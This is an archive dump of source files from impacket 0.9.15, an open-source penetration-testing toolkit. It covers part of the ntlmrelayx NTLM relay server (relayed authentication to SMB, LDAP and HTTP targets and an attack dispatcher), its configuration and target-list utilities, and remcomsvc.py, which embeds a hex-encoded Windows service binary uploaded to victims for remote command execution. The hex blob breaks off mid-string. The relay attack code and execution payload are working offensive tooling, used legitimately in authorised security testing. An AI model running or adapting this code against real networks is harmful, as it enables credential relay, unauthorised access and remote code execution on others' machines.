if result['result'] == 0 and result['description'] == 'success':
errorCode = STATUS_SUCCESS
else:
logging.error("LDAP bind against %s as %s FAILED" % (self.target[1],self.authUser))
logging.error('Error: %s. Message: %s' % (result['description'],str(result['message'])))
errorCode = STATUS_ACCESS_DENIED
print errorCode
#Failed example:
#{'dn': u'', 'saslCreds': None, 'referrals': None, 'description': 'invalidCredentials', 'result': 49, 'message': u'8009030C: LdapErr: DSID-0C0905FE, comment: AcceptSecurityContext error, data 52e, v23f0\x00', 'type': 'bindResponse'}
#Ok example:
#{'dn': u'', 'saslCreds': None, 'referrals': None, 'description': 'success', 'result': 0, 'message': u'', 'type': 'bindResponse'}
except Exception, e:
logging.error("NTLM Message type 3 against %s FAILED" % self.target[1])
logging.error(str(e))
errorCode = STATUS_ACCESS_DENIED
if self.target[0] == 'HTTP' or self.target[0] == 'HTTPS':
try:
result = client.sendAuth(token) #Result is a boolean
if result:
errorCode = STATUS_SUCCESS
else:
logging.error("HTTP NTLM auth against %s as %s FAILED" % (self.target[1],self.authUser))
errorCode = STATUS_ACCESS_DENIED
except Exception, e:
logging.error("NTLM Message type 3 against %s FAILED" % self.target[1])
logging.error(str(e))
errorCode = STATUS_ACCESS_DENIED
return clientResponse, errorCode
def do_attack(self,client):
#Do attack. Note that unlike the HTTP server, the config entries are stored in the current object and not in any of its properties
if self.target[0] == 'SMB':
clientThread = self.config.attacks['SMB'](self.config,client,self.exeFile,self.command)
clientThread.start()
if self.target[0] == 'LDAP' or self.target[0] == 'LDAPS':
clientThread = self.config.attacks['LDAP'](self.config, client, self.authUser)
clientThread.start()
if self.target[0] == 'HTTP' or self.target[0] == 'HTTPS':
clientThread = self.config.attacks['HTTP'](self.config, client, self.authUser)
clientThread.start()
def _start(self):
self.server.serve_forever()
def run(self):
logging.info("Setting up SMB Server")
self._start()
#From here its LEGACY, should NOT BE USED and can probably be REMOVED later
def setTargets(self, targets):
self.targetprocessor = targets
def setExeFile(self, filename):
self.exeFile = filename
def setCommand(self, command):
self.command = command
def setMode(self,mode):
self.mode = mode
if self.mode == 'TRANSPARENT':
self.proxyTranslator = ProxyIpTranslator()
self.proxyTranslator.start()
else:
self.proxyTranslator = None
def setAttacks(self,attacks):
self.attacks = attacks
def setLootdir(self,lootdir):
self.lootDir = lootdir
def setDomainAccount( self, machineAccount, machineHashes, domainIp):
self.machineAccount = machineAccount
self.machineHashes = machineHashes
self.domainIp = domainIp
impacket-0.9.15/impacket/examples/ntlmrelayx/utils/ 0000700 0000765 0000000 00000000000 12734532622 022420 5 ustar beto wheel 0000000 0000000 impacket-0.9.15/impacket/examples/ntlmrelayx/utils/__init__.py 0000600 0000765 0000000 00000000005 12734531507 024527 0 ustar beto wheel 0000000 0000000 pass
impacket-0.9.15/impacket/examples/ntlmrelayx/utils/config.py 0000600 0000765 0000000 00000003124 12734531507 024242 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2013-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Config utilities
#
# Author:
# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
#
# Description:
# Configuration class which holds the config specified on the
# command line, this can be passed to the tools' servers and clients
class NTLMRelayxConfig:
def __init__(self):
self.daemon = True
self.domainIp = None
self.machineAccount = None
self.machineHashes = None
self.exeFile = None
self.command = None
self.target = None
self.mode = None
self.redirecthost = None
self.outputFile = None
self.attacks = None
self.lootdir = None
def setOutputFile(self,outputFile):
self.outputFile = outputFile
def setTargets(self, target):
self.target = target
def setExeFile(self, filename):
self.exeFile = filename
def setCommand(self, command):
self.command = command
def setMode(self,mode):
self.mode = mode
def setAttacks(self,attacks):
self.attacks = attacks
def setLootdir(self,lootdir):
self.lootdir = lootdir
def setRedirectHost(self,redirecthost):
self.redirecthost = redirecthost
def setDomainAccount( self, machineAccount, machineHashes, domainIp):
self.machineAccount = machineAccount
self.machineHashes = machineHashes
self.domainIp = domainIp impacket-0.9.15/impacket/examples/ntlmrelayx/utils/targetsutils.py 0000600 0000765 0000000 00000013275 12734531507 025537 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2013-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Target utilities
#
# Author:
# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
#
# Description:
# Classes for handling specified targets and keeping
# state of which targets have been processed
import logging
import os
import random
import re
import time
from threading import Thread
class TargetsProcessor():
supported_protocols = ['SMB','HTTP','LDAP','MSSQL','LDAPS']
def __init__(self,targetlistfile=None,singletarget=None):
self.targetregex = re.compile(r'([a-zA-Z]+)://([a-zA-Z0-9\.\-_]+)(:[0-9]+)?/?(.*)?')
self.targetipregex = re.compile(r'[a-zA-Z\.\-_0-9]+')
self.clients_targets = {}
if targetlistfile is None:
self.filename = None
self.targets = [self.parse_target(singletarget)]
else:
self.filename = targetlistfile
self.targets = []
self.read_targets()
def read_targets(self):
try:
with open(self.filename,'r') as f:
self.targets = []
for line in f:
target = self.parse_target(line.strip())
if target is not None:
self.targets.append(target)
except IOError, e:
logging.error("Could not open file: %s" % self.filename)
logging.error(str(e))
if len(self.targets) == 0:
logging.critical("Warning: no valid targets specified!")
def parse_target(self,targetline):
#Try a full target match in the form of protocol://target:port/path first
ftm = self.targetregex.match(targetline)
if ftm is not None:
if ftm.group(1).upper() not in self.supported_protocols:
logging.error("Unsupported protocol: %s" % ftm.group(1))
return None
#Check if the port was specified
if ftm.group(3) is None:
port = self.get_default_port(ftm.group(1))
else:
#Port regex includes the : remove this
port = int(ftm.group(3)[1:])
#Check if the path was specified
if ftm.group(4) is None:
path = ''
else:
path = ftm.group(4)
#Targets are always a tuple (protocol,host,port)
#TODO: Change this to an object so we can have proper representation as string?
return (ftm.group(1).upper(),ftm.group(2),port,path)
#Maybe the target is just an IP, this assumes its an SMB target
itm = self.targetipregex.match(targetline)
if itm is not None:
return ('SMB',itm.group(0),445,'')
#If both dont match, it is probably an invalid target
logging.error("Invalid target specification: " % targetline)
return None
def log_target(self,client,target):
try:
self.clients_targets[client].add(target)
except KeyError:
self.clients_targets[client] = set([target])
#print self.clients_targets
def get_target(self,client):
try:
targetlist = self.clients_targets[client]
except KeyError:
#Client is probably new
return self.targets[0]
for target in self.targets:
#Check if the target is already in the target list
if target not in targetlist:
return target
#We are here, which means all the targets are already exhausted by the client
logging.info("All targets processed for client %s" % client)
return random.choice(self.targets)
def get_default_port(self,protocol):
if protocol.upper() == 'SMB':
return 445
if protocol.upper() == 'HTTP':
return 80
if protocol.upper() == 'HTTPS':
return 443
if protocol.upper() == 'LDAP':
return 389
if protocol.upper() == 'LDAPS':
return 636
if protocol.upper() == 'MSSQL':
return 1433
return None
class TargetsFileWatcher(Thread):
def __init__(self,targetprocessor):
Thread.__init__(self)
self.targetprocessor = targetprocessor
self.lastmtime = os.stat(self.targetprocessor.filename).st_mtime
#print self.lastmtime
def run(self):
while True:
mtime = os.stat(self.targetprocessor.filename).st_mtime
if mtime > self.lastmtime:
logging.info('Targets file modified - refreshing')
self.lastmtime = mtime
self.targetprocessor.read_targets()
time.sleep(1.0)
class ProxyIpTranslator(Thread):
def __init__(self):
Thread.__init__(self)
self.regex = re.compile(r'SRC=([0-9\.]+) DST=([0-9\.]+) .*SPT=([0-9]+)')
self.iptranslations = {}
#-A POSTROUTING -o eth0 -j LOG --log-prefix="SMBrelay"
def run(self):
logging.info("Setting up Proxy translator - reading from kernel log")
for line in tail("-f", "/var/log/kern.log", _iter=True):
if "SMBrelay" in line:
m = self.regex.search(line)
if m is not None:
self.iptranslations[(m.group(1),m.group(3))] = m.group(2)
#logging.info('Found translation from ip: %s port: %s to IP: %s' % (m.group(1),m.group(3),m.group(2)))
#Look up the destination IP based on source IP and port
def translate(self,source_ip,source_port):
try:
return self.iptranslations[(source_ip,str(source_port))]
except KeyError:
return None
impacket-0.9.15/impacket/examples/remcomsvc.py 0000600 0000765 0000000 00000357446 12734531507 021457 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# REMCOMSVC library. It provides a way to retrieve the RemComSvc binary file to be
# uploaded to the target machine. This is used by psexec and smbrelayx
#
# If you want to compile this file yourself, get the source code from
# https://github.com/kavika13/RemCom, compile RemComSvc project, and
# dump the binary (hexlify) in this file, on the REMCOMSVC variable
#
# Author:
# Alberto Solino (@agsolino)
#
# Copyright note in remcomsvc.cpp:
#
# Copyright (c) 2006 Talha Tariq [ talha.tariq@gmail.com ]
# All rights are reserved.
#
# Permission to use, copy, modify, and distribute this software
# for any purpose and without any fee is hereby granted,
# provided this notice is included in its entirety in the
# documentation and in the source files.
#
# This software and any related documentation is provided "as is"
# without any warranty of any kind, either express or implied,
# including, without limitation, the implied warranties of
# merchantability or fitness for a particular purpose. The entire
# risk arising out of use or performance of the software remains
# with you.
#
# $Author: Talha Tariq [ talha.tariq@gmail.com ]
# uses some code from xCmd by Zoltan Csizmadia
# $Revision: Talha Tariq [ talha.tariq@gmail.com ]
# $Revision: Andres Ederra
#
import binascii
class RemComSvc:
def __init__(self):
self.binary = binascii.unhexlify(REMCOMSVC)
self.offset = 0
def read(self, amount):
# Returns amount of bytes and updates the offset within REMCOMSVC variable
data = self.binary[self.offset:self.offset+amount]
self.offset += amount
return data
def seek(self, offset):
self.offset = offset
def close(self):
return
REMCOMSVC='4d5a90000300000004000000ffff0000b800000000000000400000000000' \
'000000000000000000000000000000000000000000000000000000000000d80000000e' \
'1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f74206265' \
'2072756e20696e20444f53206d6f64652e0d0d0a24000000000000008030ee41c45180' \
'12c4518012c4518012cd291512d4518012cd290312a4518012e397fb12c1518012c451' \
'8112b4518012cd290412e5518012cd291112c551801252696368c45180120000000000' \
'0000000000000000000000504500004c010500b1cf23500000000000000000e0000201' \
'0b010900009400000044000000000000a61d00000010000000b0000000004000001000' \
'0000020000050000000000000005000000000000000030010000040000bc3801000300' \
'40810000100000100000000010000010000000000000100000000000000000000000c4' \
'c800003c00000000100100b40100000000000000000000000000000000000000200100' \
'1409000000000000000000000000000000000000000000000000000000000000000000' \
'0080c4000040000000000000000000000000b000008801000000000000000000000000' \
'00000000000000000000000000002e74657874000000c4930000001000000094000000' \
'040000000000000000000000000000200000602e726461746100009821000000b00000' \
'0022000000980000000000000000000000000000400000402e646174610000002c2e00' \
'0000e000000010000000ba0000000000000000000000000000400000c02e7273726300' \
'0000b4010000001001000002000000ca0000000000000000000000000000400000402e' \
'72656c6f630000a40f0000002001000010000000cc0000000000000000000000000000' \
'4000004200000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'0000000000000000000000000000000000000000000000000000000000000000000000' \
'00000000000000000000000000005357683f000f0033db5353ff1520b040008bf83bfb' \
'746a5668ff010f0068c8b1400057ff1524b040008bf03bf3750b57ff1528b040005e5f' \
'5bc356ff152cb04000a100ef40006804ef400050c70508ef400001000000891d18ef40' \
'00891d1cef4000891d10ef4000891d14ef4000ff1530b04000568b3528b04000ffd657' \
'ffd65e5f5bc3cccccccccccccccccccccccc558bec8b450883e801740da100ef400068' \
'04ef400050eb348b0d20ef400051ff1578b040008b1500ef400033c06804ef4000a310' \
'ef4000c70508ef400001000000a318ef4000a31cef400052ff1530b0400085c07506ff' \
'1580b040005dc20400558bec83ec30a100e0400033c58945fc5356578b7d08897de0ff' \
'1564b0400033db505368ffff1f00895de8c745ec3200000033f6885df4885df5885df6' \
'885df7885df8c645f905895ddc895de4895df0891fff1568b040008d4de8516a085089' \
'45d8ff150cb0400085c0750eff1580b040008945f0e9380100008b55ec5253ff156cb0' \
'40008bf03bf3750eff1580b040008945f0e9190100008b4dec8b55e88b1d10b040008d' \
'45ec5051566a0252ffd38b3d80b0400085c07553ffd783f87a740affd78945f0e9e700' \
'000056ff1570b040008b45ec506a00ff156cb040008bf085f6750affd78945f0e9c400' \
'00008b55ec8b45e88d4dec5152566a0250ffd385c0750affd78945f0e9a50000008b1d' \
'14b040008d4ddc516a006a006a006a006a006a006a006a046a018d55f452ffd385c075' \
'07ffd78945f0eb788d45e4506a006a006a006a006a006a006a006a066a018d4df451ff' \
'd385c07507ffd78945f0eb5133db391e763d8d7e048d9b000000008b4ddc8b078b5704' \
'51508945d08955d4ff1518b0400085c0757b8b55e48b45d05250ff1518b0400085c075' \
'744383c7083b1e72cc8b45e08338007506c700010000008b45e48b3d1cb0400085c074' \
'0350ffd78b45dc85c0740350ffd785f6740756ff1570b040008b45e88b3574b0400085' \
'c0740350ffd68b45d885c0740350ffd68b4dfc8b45f05f5e33cd5be8790500008be55d' \
'c38b4de0c70100000000eba28b55e0c70201000000eb97cccccccccc5633f668901040' \
'0068d4b14000c70504ef400030000000c70508ef400002000000c7050cef4000010000' \
'00893510ef4000893514ef4000893518ef400089351cef4000ff1508b04000a300ef40' \
'003bc6744e6804ef400050c70508ef400004000000893518ef400089351cef4000ff15' \
'30b0400085c0750aff1580b040005ec2080056565656ff1560b0400056566830184000' \
'a320ef4000e8cd05000083c40c5ec20800cccccccccccccccccccccccc558bec83ec14' \
'8d45fc50c745ecc8b14000c745f010134000c745f400000000c745f800000000c745fc' \
'01000000e8fefcffff83c404837dfc00750d68dcb14000e82e06000083c4048d4dec51' \
'ff1504b040008be55dc3cccccccccccccccccccc558bec83ec20535633c0578945f889' \
'45fc6a018d45e050c745f400000000ff1534b040006a006a006a018d4de051ff1500b0' \
'40008b750c8b7d08814e2c0001000083c8ff89463c8946388946408b8708110000508d' \
'9f0c110000536834b240008d55e06824b240006830ef4000c745f40c0000008955f8c7' \
'45fc01000000e8550600008b8f0811000051536814b240006824b240006838f04000e8' \
'390600008b970811000052536804b240006824b240006840f14000e81d0600008b3d58' \
'b0400083c43c8d45f4506aff6a006a0068ff0000006a046a026830ef4000ffd78d4df4' \
'516aff6a006a0068ff0000006a046a026840f1400089463cffd78d55f4526aff6a006a' \
'0068ff0000008946406a046a016838f04000ffd78b4e3c89463883f9ff7432837e40ff' \
'742c83f8ff74278b3d5cb040006a0051ffd78b46386a0050ffd78b4e406a0051ffd75f' \
'5eb8010000005b8be55dc38b3d74b0400051ffd78b564052ffd78b463850ffd75f5e33' \
'c05b8be55dc3cccccccccccccccccccccccccc558bec81ec60010000a100e0400033c5' \
'8945fc568b7508578b7d0c6a448d85a0feffff6a0050e8b50500008d8da0feffff5156' \
'c785a0feffff44000000e83efeffff83c41485c075155fb8020000005e8b4dfc33cde8' \
'700200008be55dc353568d95f8feffff6844b2400052c70700000000c785f4feffff00' \
'000000e8d70400000fbe860010000083c40c8d8e00100000f7d81bc023c18d8de4feff' \
'ff518d95a0feffff52508b86041100006a000d00000008506a016a006a008d8df8feff' \
'ff516a00ff154cb0400085c0743f8b85e4feffffc7070000000083be10120000008bd8' \
'75326aff50ff1550b040005753ff1554b040008b85f4feffff5b5f5e8b4dfc33cde8c2' \
'0100008be55dc3c785f4feffff010000008b4dfc8b85f4feffff5b5f33cd5ee8a10100' \
'008be55dc3cccccc558becb828120000e823050000a100e0400033c58945fc568b7508' \
'6828ef4000ff1544b0400033c0508985e0edffff8985e4edffff8d85dcedffff506814' \
'1200008d8de8edffff5156ff157cb0400085c0743e83bddcedffff0074358d95e4edff' \
'ff528d85e8edffff50e861feffff83c4086a008d8dd8edffff516a088d95e0edffff52' \
'568985e0edffffff153cb0400056ff1540b0400056ff1574b040006828ef4000ff1548' \
'b04000833d28ef4000005e750ca120ef400050ff1578b040008b4dfc33cde8d0000000' \
'8be55dc3cccc558bec83ec20538b1d00b0400056578b3d34b0400033c08945f88945fc' \
'6a018d45e050c745f400000000ffd76a016a006a018d4de051ffd38d45f4506aff6a00' \
'6a0068ff0000006a046a038d55e06848b24000c745f40c0000008955f8c745fc010000' \
'00ff1558b040008bf085f674a56a0056ff155cb04000566a0068d0164000e854010000' \
'83c40ceb8acccccccccc566a006a0068a0174000e83b0100008b3550b0400083c40ca1' \
'20ef40006a0a50ffd685c075f2e8a5f7ffff8b0d20ef400051ff1574b040005ec33b0d' \
'00e040007502f3c3e937050000833d240e41000056741568240e4100e8030d00005985' \
'c07406ff15240e4100e8a40800008bf085f674168b460483f8ff740750ff1574b04000' \
'56e84b0a0000596a00ff1584b04000cc6a0c68f0c44000e81a120000e8e70800008365' \
'fc00ff7058ff505459e896ffffff8b45ec8b088b09894de45051e8921000005959c38b' \
'65e8ff75e4e801100000cc8bff558bece8bf060000e8b406000050e89406000085c075' \
'1fff7508e8a206000050e8d606000085c07528ff1580b0400050ff1584b040008b4d08' \
'8b51548950548b51588950588b510451895004e87e080000833d280e41000074156828' \
'0e4100e8270c00005985c07406ff15280e4100e849ffffffcc8bff558bec5153578b7d' \
'0833db895dfc3bfb7520e88b1300005353535353c70016000000e86816000083c41483' \
'c8ffe98100000056e81806000068140200006a01e87a1400008bf059593bf3744ae8ed' \
'070000ff706c56e8840600008b45105959566a04566803194000ff750c897e54538946' \
'58ff158cb040008bf8897e043bfb740c57ff1588b0400083f8ff7523ff1580b0400089' \
'45fc56e84f13000059395dfc7409ff75fce81e1300005983c8ffeb028bc75e5f5bc9c3' \
'6a0c6810c54000e8a910000033c033f63975080f95c03bc6751de8cc120000c7001600' \
'00005656565656e8a915000083c41483c8ffeb5fe8c21500006a205b03c3506a01e8cd' \
'16000059598975fce8ab15000003c350e858170000598bf88d450c5056ff7508e89315' \
'000003c350e83d1900008945e4e88315000003c35057e8cb17000083c418c745fcfeff' \
'ffffe8090000008b45e4e85f100000c3e85d15000083c020506a01e8d81600005959c3' \
'a100e0400083c80133c9390544f240000f94c18bc1c38bff558bec83ec205333db395d' \
'0c751de8111200005353535353c70016000000e8ee14000083c41483c8ffeb4d8b4508' \
'3bc374dc568945e88945e08d45105053ff750c8d45e050c745e4ffffff7fc745ec4200' \
'0000e89118000083c410ff4de48bf078078b45e08818eb0c8d45e05053e80e24000059' \
'598bc65e5bc9c3cccccccccccccccccccccc8b54240c8b4c240485d2746933c08a4424' \
'0884c0751681fa00010000720e833de0fd4000007405e98a250000578bf983fa047231' \
'f7d983e103740c2bd1880783c70183e90175f68bc8c1e00803c18bc8c1e01003c18bca' \
'83e203c1e9027406f3ab85d2740a880783c70183ea0175f68b4424085fc38b442404c3' \
'cccccccccccc518d4c24042bc81bc0f7d023c88bc42500f0ffff3bc8720a8bc159948b' \
'00890424c32d001000008500ebe98bff558bec833d50f24000027405e841280000ff75' \
'08e88e26000068ff000000e8810a000059595dc36a146830c54000e8880e0000b84d5a' \
'0000663905000040007538a13c00400081b800004000504500007527b90b0100006639' \
'8818004000751983b8740040000e761033c93988e80040000f95c1894de4eb048365e4' \
'006a01e8112f00005985c075086a1ce86effffff59e8ae06000085c075086a10e85dff' \
'ffff59e8a22e00008365fc00e8452c000085c07d086a1be89509000059ff1590b04000' \
'a3200e4100e8f22a0000a348f24000e82d2a000085c07d086a08e86f09000059e8a427' \
'000085c07d086a09e85e090000596a01e8150a00005985c0740750e84b09000059a19c' \
'f54000a3a0f5400050ff3594f54000ff3590f54000e871f6ffff83c40c8945e0837de4' \
'00750650e88c0b0000e8b30b0000eb2e8b45ec8b088b09894ddc5051e80d0c00005959' \
'c38b65e88b45dc8945e0837de400750650e8720b0000e8920b0000c745fcfeffffff8b' \
'45e0e8880d0000c3e8472e0000e9a4feffff8bff558bec81ec28030000a360f3400089' \
'0d5cf34000891558f34000891d54f34000893550f34000893d4cf34000668c1578f340' \
'00668c0d6cf34000668c1d48f34000668c0544f34000668c2540f34000668c2d3cf340' \
'009c8f0570f340008b4500a364f340008b4504a368f340008d4508a374f340008b85e0' \
'fcffffc705b0f2400001000100a168f34000a364f24000c70558f24000090400c0c705' \
'5cf2400001000000a100e040008985d8fcffffa104e040008985dcfcffffff15a4b040' \
'00a3a8f240006a01e80b2e0000596a00ff15a0b040006868b24000ff159cb04000833d' \
'a8f240000075086a01e8e72d00005968090400c0ff1598b0400050ff1594b04000c9c3' \
'8bff558bec56ff3518e040008b35b0b04000ffd685c07421a114e0400083f8ff741750' \
'ff3518e04000ffd6ffd085c074088b80f8010000eb27be80b2400056ff15a8b0400085' \
'c0750b56e8480700005985c074186870b2400050ff15acb0400085c07408ff7508ffd0' \
'8945088b45085e5dc36a00e887ffffff59c38bff558bec56ff3518e040008b35b0b040' \
'00ffd685c07421a114e0400083f8ff741750ff3518e04000ffd6ffd085c074088b80fc' \
'010000eb27be80b2400056ff15a8b0400085c0750b56e8cd0600005985c07418689cb2' \
'400050ff15acb0400085c07408ff7508ffd08945088b45085e5dc3ff15b4b04000c204' \
'008bff558becff7508ff3518e04000ff15b0b04000ffd05dc20400a114e04000c38bff' \
'56ff3518e04000ff15b0b040008bf085f6751bff3580f54000e845ffffff598bf056ff' \
'3518e04000ff15b8b040008bc65ec38bff558becff750cff7508ff3584f54000e81bff' \
'ffff59ffd05dc20800a114e0400083f8ff741650ff3588f54000e8fefeffff59ffd083' \
'0d14e04000ffa118e0400083f8ff740e50ff15bcb04000830d18e04000ffe9812c0000' \
'6a0c6850c54000e8820a0000be80b2400056ff15a8b0400085c0750756e8d105000059' \
'8945e48b7508c7465c00b3400033ff47897e1485c074246870b24000508b1dacb04000' \
'ffd38986f8010000689cb24000ff75e4ffd38986fc010000897e70c686c800000043c6' \
'864b01000043c7466840e740006a0de8352d0000598365fc00ff7668ff1544b04000c7' \
'45fcfeffffffe83e0000006a0ce8142d000059897dfc8b450c89466c85c07508a130e7' \
'400089466cff766ce8722e000059c745fcfeffffffe815000000e8050a0000c333ff47' \
'8b75086a0de8fc2b000059c36a0ce8f32b000059c38bff5657ff1580b04000ff3514e0' \
'40008bf8e874feffffffd08bf085f6754e68140200006a01e8ce0c00008bf0595985f6' \
'743a56ff3514e04000ff3584f54000e8abfdffff59ffd085c074186a0056e8c5feffff' \
'5959ff15c4b04000834e04ff8906eb0956e8bc0b00005933f657ff15c0b040005f8bc6' \
'5ec38bff56e87fffffff8bf085f675086a10e8ae040000598bc65ec36a086878c54000' \
'e8080900008b750885f60f84f80000008b462485c0740750e86f0b0000598b462c85c0' \
'740750e8610b0000598b463485c0740750e8530b0000598b463c85c0740750e8450b00' \
'00598b464085c0740750e8370b0000598b464485c0740750e8290b0000598b464885c0' \
'740750e81b0b0000598b465c3d00b34000740750e80a0b0000596a0de8a72b00005983' \
'65fc008b7e6885ff741a57ff1548b0400085c0750f81ff40e74000740757e8dd0a0000' \
'59c745fcfeffffffe8570000006a0ce86e2b000059c745fc010000008b7e6c85ff7423' \
'57e8642d0000593b3d30e74000741481ff58e64000740c833f00750757e8702b000059' \
'c745fcfeffffffe81e00000056e8850a000059e845080000c204008b75086a0de83d2a' \
'000059c38b75086a0ce8312a000059c38bff558bec833d14e04000ff744b837d080075' \
'2756ff3518e040008b35b0b04000ffd685c07413ff3514e04000ff3518e04000ffd6ff' \
'd08945085e6a00ff3514e04000ff3584f54000e8e0fbffff59ffd0ff7508e878feffff' \
'a118e0400083f8ff74096a0050ff15b8b040005dc38bff5657be80b2400056ff15a8b0' \
'400085c0750756e8c2020000598bf885ff0f845e0100008b35acb0400068ccb2400057' \
'ffd668c0b2400057a37cf54000ffd668b4b2400057a380f54000ffd668acb2400057a3' \
'84f54000ffd6833d7cf54000008b35b8b04000a388f540007416833d80f5400000740d' \
'833d84f5400000740485c07524a1b0b04000a380f54000a1bcb04000c7057cf54000a3' \
'1f4000893584f54000a388f54000ff15b4b04000a318e0400083f8ff0f84cc000000ff' \
'3580f5400050ffd685c00f84bb000000e8f4040000ff357cf54000e868faffffff3580' \
'f54000a37cf54000e858faffffff3584f54000a380f54000e848faffffff3588f54000' \
'a384f54000e838faffff83c410a388f54000e80528000085c0746568d4214000ff357c' \
'f54000e892faffff59ffd0a314e0400083f8ff744868140200006a01e8820900008bf0' \
'595985f6743456ff3514e04000ff3584f54000e85ffaffff59ffd085c0741b6a0056e8' \
'79fbffff5959ff15c4b04000834e04ff890633c040eb07e824fbffff33c05f5ec3cccc' \
'8bff558bec8b4d08b84d5a0000663901740433c05dc38b413c03c181385045000075ef' \
'33d2b90b010000663948180f94c28bc25dc3cccccccccccccccccccccc8bff558bec8b' \
'45088b483c03c80fb7411453560fb7710633d2578d44081885f6761b8b7d0c8b480c3b' \
'f972098b580803d93bfb720a4283c0283bd672e833c05f5e5b5dc3cccccccccccccccc' \
'cccccccc8bff558bec6afe68a0c5400068502b400064a1000000005083ec08535657a1' \
'00e040003145f833c5508d45f064a3000000008965e8c745fc000000006800004000e8' \
'2affffff83c40485c074558b45082d00004000506800004000e850ffffff83c40885c0' \
'743b8b4024c1e81ff7d083e001c745fcfeffffff8b4df064890d00000000595f5e5b8b' \
'e55dc38b45ec8b088b0133d23d050000c00f94c28bc2c38b65e8c745fcfeffffff33c0' \
'8b4df064890d00000000595f5e5b8be55dc38bff558bec57bfe803000057ff15c8b040' \
'00ff7508ff15a8b0400081c7e803000081ff60ea0000770485c074de5f5dc38bff558b' \
'ece8f81d0000ff7508e8451c0000ff351ce04000e897f8ffff68ff000000ffd083c40c' \
'5dc38bff558bec68e8b24000ff15a8b0400085c0741568d8b2400050ff15acb0400085' \
'c07405ff7508ffd05dc38bff558becff7508e8c8ffffff59ff7508ff15ccb04000cc6a' \
'08e81c27000059c36a08e83926000059c38bff558bec568bf0eb0b8b0685c07402ffd0' \
'83c6043b750872f05e5dc38bff558bec568b750833c0eb0f85c075108b0e85c97402ff' \
'd183c6043b750c72ec5e5dc38bff558bec833d180e410000741968180e4100e83cfeff' \
'ff5985c0740aff7508ff15180e410059e81d32000068a8b140006890b14000e8a1ffff' \
'ff595985c07542689c4b4000e8e7310000b888b14000c704248cb14000e863ffffff83' \
'3d1c0e41000059741b681c0e4100e8e4fdffff5985c0740c6a006a026a00ff151c0e41' \
'0033c05dc36a1868c0c54000e81b0300006a08e838260000598365fc0033db43391dbc' \
'f540000f84c5000000891db8f540008a4510a2b4f54000837d0c000f859d000000ff35' \
'100e4100e826f7ffff598bf8897dd885ff7478ff350c0e4100e811f7ffff598bf08975' \
'dc897de48975e083ee048975dc3bf77257e8edf6ffff390674ed3bf7724aff36e8e7f6' \
'ffff8bf8e8d7f6ffff8906ffd7ff35100e4100e8d1f6ffff8bf8ff350c0e4100e8c4f6' \
'ffff83c40c397de475053945e0740e897de4897dd88945e08bf08975dc8b7dd8eb9f68' \
'b8b14000b8acb14000e85ffeffff5968c0b14000b8bcb14000e84ffeffff59c745fcfe' \
'ffffffe81f000000837d10007528891dbcf540006a08e86624000059ff7508e8fcfdff' \
'ff33db43837d100074086a08e84d24000059c3e841020000c38bff558bec6a006a00ff' \
'7508e8c3feffff83c40c5dc38bff558bec6a006a01ff7508e8adfeffff83c40c5dc36a' \
'016a006a00e89dfeffff83c40cc36a016a016a00e88efeffff83c40cc38bff56e8e9f5' \
'ffff8bf056e84833000056e8d332000056e88105000056e8b832000056e8a332000056' \
'e88b30000056e81a00000056e86e3000006803294000e83bf5ffff83c424a31ce04000' \
'5ec3c38bff558bec515156e8aef7ffff8bf085f60f84460100008b565ca12ce0400057' \
'8b7d088bca533939740e8bd86bdb0c83c10c03da3bcb72ee6bc00c03c23bc873083939' \
'75048bc1eb0233c085c0740a8b5808895dfc85db750733c0e9fb00000083fb05750c83' \
'60080033c040e9ea00000083fb010f84de0000008b4e60894df88b4d0c894e608b4804' \
'83f9080f85b80000008b0d20e040008b3d24e040008bd103f93bd77d246bc90c8b7e5c' \
'83643908008b3d20e040008b1d24e040004203df83c10c3bd37ce28b5dfc8b008b7e64' \
'3d8e0000c07509c7466483000000eb5e3d900000c07509c7466481000000eb4e3d9100' \
'00c07509c7466484000000eb3e3d930000c07509c7466485000000eb2e3d8d0000c075' \
'09c7466482000000eb1e3d8f0000c07509c7466486000000eb0e3d920000c07507c746' \
'648a000000ff76646a08ffd359897e64eb078360080051ffd38b45f85989466083c8ff' \
'5b5f5ec9c3cccc68502b400064ff35000000008b442410896c24108d6c24102be05356' \
'57a100e040003145fc33c5508965e8ff75f88b45fcc745fcfeffffff8945f88d45f064' \
'a300000000c38b4df064890d00000000595f5f5e5b8be55d51c3cccccccccccccccccc' \
'cccccccccccc8bff558bec83ec18538b5d0c568b7308333500e04000578b06c645ff00' \
'c745f4010000008d7b1083f8fe740d8b4e0403cf330c38e8e1ecffff8b4e0c8b460803' \
'cf330c38e8d1ecffff8b4508f64004660f85160100008b4d108d55e88953fc8b5b0c89' \
'45e8894dec83fbfe745f8d49008d045b8b4c86148d4486108945f08b008945f885c974' \
'148bd7e8dc310000c645ff0185c07c407f478b45f88bd883f8fe75ce807dff0074248b' \
'0683f8fe740d8b4e0403cf330c38e85eecffff8b4e0c8b560803cf330c3ae84eecffff' \
'8b45f45f5e5b8be55dc3c745f400000000ebc98b4d08813963736de07529833d040e41' \
'0000742068040e4100e843f9ffff83c40485c0740f8b55086a0152ff15040e410083c4' \
'088b4d0ce87f3100008b450c39580c74126800e04000578bd38bc8e8823100008b450c' \
'8b4df889480c8b0683f8fe740d8b4e0403cf330c38e8cbebffff8b4e0c8b560803cf33' \
